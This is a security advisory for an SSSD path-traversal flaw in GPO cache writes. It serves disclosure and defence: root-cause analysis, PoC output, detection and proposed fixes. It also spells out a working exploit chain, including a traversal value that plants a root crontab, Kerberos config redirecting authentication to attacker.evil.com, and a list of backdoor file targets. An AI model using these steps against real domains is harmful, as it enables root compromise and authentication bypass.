// Important (8.2)
CVE-2026-14476

GPO cache path traversal + Kerberos config injection

CVE ID
CVE-2026-14476
Product
sssd
Severity
Important (8.2)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-22
Red Hat CVE
Red Hat CVE page

Summary

The ad_gpo_extract_smb_components() function in src/providers/ad/ad_gpo.c parses the gPCFileSysPath LDAP attribute from Active Directory Group Policy Objects. The function converts Windows backslash separators to forward slashes but performs zero sanitization of .. path components. The resulting smb_path is concatenated directly with GPO_CACHE_PATH (/var/lib/sss/gpo_cache) to construct a filename where downloaded GPO policy content is written.

An attacker with GPO management access in Active Directory can set gPCFileSysPath to a value containing .. traversal sequences, causing the ad_gpo_child process (running as root) to write attacker-controlled content from the corresponding SMB share to arbitrary filesystem locations on every SSSD-enrolled Linux client. The attack is silent and asynchronous — SSSD refreshes GPOs in the background every 5 minutes (default), requiring no user interaction on the target hosts.

On default RHEL/Fedora configurations (SELinux enforcing), direct writes to /etc/cron.d/ are blocked, but the traversal can target /var/lib/sss/pubconf/krb5.include.d/ (labeled sssd_public_t, writable by sssd_t) to inject Kerberos configuration that redirects authentication to a rogue KDC.

Affected Versions

The vulnerability exists in all versions of SSSD that implement the AD GPO provider. The gPCFileSysPath parsing in ad_gpo_extract_smb_components() has never included path sanitization.

PackageVersionStatusVerification
Upstream2.13.0Vulnerable — CONFIRMEDPoC compiled from source
RHEL 8sssd-ad-2.9.4-5.el8_10.4Vulnerable — CONFIRMEDBinary strings: gpo_cache%s unsanitized, no realpath
RHEL 9sssd-ad-2.9.8-2.el9Vulnerable — CONFIRMEDBinary strings: gpo_cache%s unsanitized, no realpath
RHEL 10sssd-ad-2.12.0-3.el10Vulnerable — CONFIRMEDBinary strings: gpo_cache%s unsanitized, no realpath
Fedora 42sssd-ad-2.11.1-2.fc42Vulnerable — CONFIRMEDBinary strings: gpo_cache%s unsanitized, no realpath

Root Cause

File: src/providers/ad/ad_gpo.c Function: ad_gpo_extract_smb_components() Lines: 3855-3935

Data flow

LDAP (gPCFileSysPath attribute)
  → sysdb_attrs_get_string() [ad_gpo.c:4456]
  → talloc_strdup(raw_file_sys_path) [ad_gpo.c:4469]
  → ad_gpo_extract_smb_components() [ad_gpo.c:4470]
      → smb_path = "/" + everything after 4th backslash
      → backslashes after #4 converted to "/" but ".." preserved
  → smb_path serialized to ad_gpo_child process [ad_gpo.c:4601]
  → copy_smb_file_to_gpo_cache() [ad_gpo_child.c:612]
      → smbc_getFunctionOpen(smb_server + smb_share + smb_path + suffix) — reads from SMB
      → gpo_cache_store_file(smb_path, suffix, buf, buflen) [ad_gpo_child.c:534]
          → prepare_gpo_cache(GPO_CACHE_PATH, smb_path + suffix) — mkdir -p traversal path
          → filename = GPO_CACHE_PATH + smb_path + suffix — UNSANITIZED
          → sss_unique_file(filename) + sss_atomic_write_s() — WRITES ATTACKER CONTENT

No sanitization anywhere in the pipeline

Searched the entire GPO code path:

  • No realpath() or canonicalize() calls
  • No strstr("..") or equivalent checks
  • No path prefix validation after construction
  • The sssctl_cache.c:1066 code uses realpath() for cache cleanup, proving the developers know the function — it was simply never applied to the write path

ad_gpo_child runs as root

  • Systemd unit (sssd.service): No User= directive — SSSD starts as root
  • Binary ownership: /usr/libexec/sssd/gpo_child is root:root 755
  • No privilege drop: sss_child_start() forks without calling setuid()/setgid(). Zero hits for setuid, setgid, seteuid, drop_priv in ad_gpo_child.c.
  • SELinux context: Runs as sssd_t (no domain transition for gpo_child)

Proof of Concept

poc/002-gpo-path-traversal-poc.c — Standalone C reproducer that faithfully replicates the full SSSD GPO pipeline (ad_gpo_extract_smb_components(), prepare_gpo_cache(), gpo_cache_store_file()) and demonstrates actual file writes outside the cache directory.

Build and run:

gcc -o 002-poc poc/002-gpo-path-traversal-poc.c -Wall
./002-poc

PoC output

=== SSSD GPO Cache Path Traversal PoC ===
Cache: /tmp/poc-gpo-cache

--- Case 1: Normal (benign) ---
  smb_path: /corp/Policies/{ABC}
  Constructed: /tmp/poc-gpo-cache/corp/Policies/{ABC}/Gpt.inf
  Resolved:    /tmp/poc-gpo-cache/corp/Policies/{ABC}/Gpt.inf

--- Case 2: Traversal to /tmp/poc-target ---
  smb_path: /corp/../../../../../tmp/poc-target
  Constructed: /tmp/poc-gpo-cache/corp/../../../../../tmp/poc-target/pwned.txt
  Resolved:    /tmp/poc-target/pwned.txt
  *** FILE WRITTEN OUTSIDE CACHE ***

--- Case 3: Simulated cron.d write ---
  smb_path: /corp/../../../../../tmp/poc-crondir
  Constructed: /tmp/poc-gpo-cache/corp/../../../../../tmp/poc-crondir/backdoor
  Resolved:    /tmp/poc-crondir/backdoor
  *** FILE WRITTEN OUTSIDE CACHE ***

=== RESULT: 2 file(s) escaped cache ===
CONFIRMED: arbitrary file write via GPO path traversal

SMB Clamping Exploit Chain

The smb_path with .. is used for BOTH the SMB download URI and the local cache path. Critically, libsmbclient clamps .. at the SMB share root (excess .. resolves to the share root), while the kernel resolves .. fully on the local filesystem. This differential creates the exploit:

  1. Attacker creates etc/cron.d/GPT.INI at the SysVol share root containing a valid crontab entry: * * * * * root <payload>

  2. Attacker modifies gPCFileSysPath on a GPO object in Active Directory:

    \\dc\SysVol\corp.local\..\..\..\..\..\..\..\etc\cron.d
  3. SSSD parses smb_path = /corp.local/../../../../../../../etc/cron.d

  4. SMB download: libsmbclient clamps .. at share root → requests etc/cron.d/GPT.INI from SysVol → download SUCCEEDS

  5. Local cache write: kernel resolves .. fully → writes to /etc/cron.d/GPT.INI

  6. crond reads /etc/cron.d/GPT.INI and executes the attacker’s crontab entry as root

libsmbclient clamping verified: Samba 4.19.4 (RHEL 8) and Samba 4.23.5 (RHEL 9/10) both clamp excess .. to the share root without error.

crond execution verified: cronie on RHEL 8 reads and executes /etc/cron.d/GPT.INI within 60 seconds.

SELinux Bypass via Kerberos Config Injection

On SELinux-enforcing systems (the RHEL default), direct writes to /etc/cron.d/ are blocked (sssd_t has zero write rules for system_cron_spool_t or etc_t). However, the traversal can target /var/lib/sss/pubconf/krb5.include.d/:

  • Labeled sssd_public_tfully writable by sssd_t (create + write + add_name)
  • Only 1 .. from /var/lib/sss/gpo_cache/
  • Read by the Kerberos library via: /etc/krb5.confincludedir /etc/krb5.conf.d//etc/krb5.conf.d/enable_sssd_conf_dirincludedir /var/lib/sss/pubconf/krb5.include.d/
  • krb5’s includedir reads ALL files regardless of filename — GPT.INI is processed as krb5 config

Attack: The attacker places valid krb5 config on SysVol:

[realms]
  CORP.LOCAL = {
    kdc = attacker.evil.com
    admin_server = attacker.evil.com
  }

This redirects Kerberos authentication to the attacker’s server. On default AD configurations (krb5_validate=true, ad_opts.c:190), the rogue KDC’s TGT is validated against the host keytab and rejected — resulting in Kerberos denial of service. On non-default configurations with krb5_validate=false, the rogue KDC can authenticate any user with any password — full authentication bypass.

Verified on live SELinux-enforcing Fedora 42:

sesearch -A -s sssd_t -t sssd_public_t -c file -p create → ALLOWED
sesearch -A -s sssd_t -t sssd_public_t -c dir -p add_name → ALLOWED
ls -Zd /var/lib/sss/pubconf/krb5.include.d/ → sssd_public_t

Impact

Three attack paths, platform-stratified

PathSELinux enforcingSELinux permissivekrb5_validateImpact
krb5.include.d injectionFile write WORKSFile write WORKStrue (default)Kerberos DoS (KDC redirect, TGT rejected)
krb5.include.d injectionFile write WORKSFile write WORKSfalse (non-default)Auth bypass (rogue KDC → any user)
/etc/cron.d/GPT.INIBlockedWORKSN/ARoot RCE via crond

CVSS justification

ComponentValueJustification
AV (Attack Vector)NetworkGPO attributes are fetched over LDAP from Active Directory.
AC (Attack Complexity)LowDeterministic path traversal, no race conditions.
PR (Privileges Required)HighRequires GPO management access in Active Directory plus SysVol write access.
UI (User Interaction)NoneSSSD refreshes GPOs in the background every 5 minutes (default). Silent and asynchronous.
S (Scope)ChangedOn non-default configs (krb5_validate=false), auth bypass crosses from AD admin scope to arbitrary Linux user scope.
C (Confidentiality)HighRoot RCE (SELinux permissive) or auth bypass (non-default krb5_validate).
I (Integrity)HighArbitrary file write as root.
A (Availability)HighKerberos DoS on all configurations; root RCE on permissive.

Attack prerequisites

  1. GPO write access in AD: Delegated GPO management rights or Domain Admin. In many enterprises, GPO management is delegated to tier-2 admins or helpdesk teams.
  2. SysVol write access: GPO admins typically have SysVol write access. The SMB clamping exploit uses the legitimate SysVol share — no rogue server required.
  3. SSSD with ad_gpo_access_control enabled: Target Linux hosts must be domain-joined with GPO-based access control.

AD Tiering Model impact

In organizations using Microsoft’s Tier 0/1/2 model, GPO management is typically Tier 1 or Tier 2 — delegated to admins who are explicitly NOT granted root access on Linux hosts. This finding breaks that tiering: a Tier 1/2 GPO admin achieves root on every Linux host in the domain.

High-value write targets (SELinux permissive)

TargetPathImpact
Cron job/etc/cron.d/<name>Arbitrary command execution as root
PAM config/etc/pam.d/sshdAuthentication bypass
SSH backdoor/root/.ssh/authorized_keysPasswordless root SSH
sudoers drop-in/etc/sudoers.d/<name>Privilege escalation
ld.so preload/etc/ld.so.preloadShared library injection into every process

Workaround

There is no configuration-level workaround. The path traversal occurs before any SSSD configuration is consulted.

Detection: Monitor the GPO cache for traversal paths:

find /var/lib/sss/gpo_cache/ -path '*/..*' -ls

Mitigation: Disable GPO-based access control (ad_gpo_access_control = disabled in sssd.conf). This removes the GPO fetch entirely but loses GPO-based login policy enforcement.

Proposed Fix

/* After constructing *_smb_path */
if (strstr(*_smb_path, "/..") != NULL) {
    DEBUG(SSSDBG_CRIT_FAILURE,
          "gPCFileSysPath contains path traversal: %s\n", input_path);
    ret = EINVAL;
    goto done;
}

Option B: Validate with realpath()

In gpo_cache_store_file(), resolve the path and verify the prefix:

char *resolved = realpath(filename, NULL);
if (resolved == NULL || strncmp(resolved, GPO_CACHE_PATH, strlen(GPO_CACHE_PATH)) != 0) {
    DEBUG(SSSDBG_CRIT_FAILURE,
          "GPO cache path escapes cache directory: %s -> %s\n",
          filename, resolved ? resolved : "(null)");
    free(resolved);
    ret = EINVAL;
    goto done;
}
free(resolved);

Option C: Defense in depth (combine A + B)

Reject .. at parsing time AND validate the resolved path at write time.

Option D: Kernel-level confinement (strongest)

Use openat2() with RESOLVE_BENEATH flag (Linux 5.6+) to make the kernel enforce path confinement.

Exploitation in the Wild

No known exploitation. This vulnerability requires AD-level GPO management access, limiting exposure to insider threats, compromised admin accounts, or post-exploitation lateral movement.

Timeline

DateEvent
2026-04-25Discovered during SSSD security assessment
2026-04-26Reported to vendor
2026-07-07Public disclosure

References

  • Red Hat CVE page
  • NVD
  • CVE-2023-3758: SSSD GPO race condition. Different vulnerability class (race, not traversal).
  • CVE-2025-11561: SSSD Kerberos an2ln fallback. Different vulnerability class (auth bypass).
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Credits

Discovered by Ian Murphy